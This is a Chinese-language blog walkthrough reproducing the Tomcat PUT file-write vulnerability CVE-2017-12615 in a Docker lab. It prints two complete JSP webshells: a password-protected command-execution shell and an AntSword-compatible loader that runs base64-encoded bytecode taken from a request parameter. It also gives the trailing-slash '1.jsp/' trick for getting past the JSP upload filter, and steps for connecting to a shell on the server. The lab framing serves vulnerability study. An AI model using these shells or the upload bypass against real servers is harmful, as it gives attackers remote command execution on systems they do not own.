Tomcat任意写文件漏洞(CVE-2017-12615)复现
作者: 分类: 网络安全 发布于: 2024-06-17 23:14:41 浏览:1,278 评论(0)
影响版本
7.0.0-7.0.79、8.5.19
漏洞复现
使用docker拉取并运行tomcat漏洞版本镜像
1.搜索镜像
docker search CVE-2017-12615
2.拉取cved/cve-2017-12615
docker pull cved/cve-2017-12615
3.运行
docker run -d -p 8080:8080 cved/cve-2017-12615
4.在浏览器输入ip+商品查看运行情况
复现漏洞
漏洞利用脚本
<%
# 从url上接口一个pwd参数, 用作密码,设置为123456
if("123456".equals(request.getParameter("pwd"))){
# 从url上接口一个cmd参数,用作接口shell使用,并执行
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
# 声明变量来接收执行后输出的内容,并返回给浏览器
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
使用postman上传到tomcat服务器
返回201状态码表示创建文件成功
漏洞利用
漏洞原理
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:(使用PUT方式)
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value> # 此次设置成了false, 表示可写文件
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
文件路径在/usr/local/tomcat/conf/web.xml
中
不允许 put jsp 文件,1.jsp/ 加了 / 就不是 jsp 文件,系统保存文件 1.jsp/ -> 1.jsp
tomcat对jsp是做了一定处理的。前面的流程中 1.jsp/ 识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽略掉。
使用蚁剑利用图形界面通过漏洞连接tomcat服务器
蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!
蚁剑的安装
见https://www.yuque.com/antswordproject/antsword/srruro
漏洞利用脚本
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
使用postman上传到tomcat服务器
上传的文件名使用yijian.jsp
使用蚁剑连接tomcat服务器
点击保存后进入列表
看到此页面就表示已进入到tomcat服务器了
也可以右键点击进入虚拟终端
虚拟终端页
转载时请注明出处及相应链接。
本文永久链接: http://www.baigei.com/articles/tomcat-bug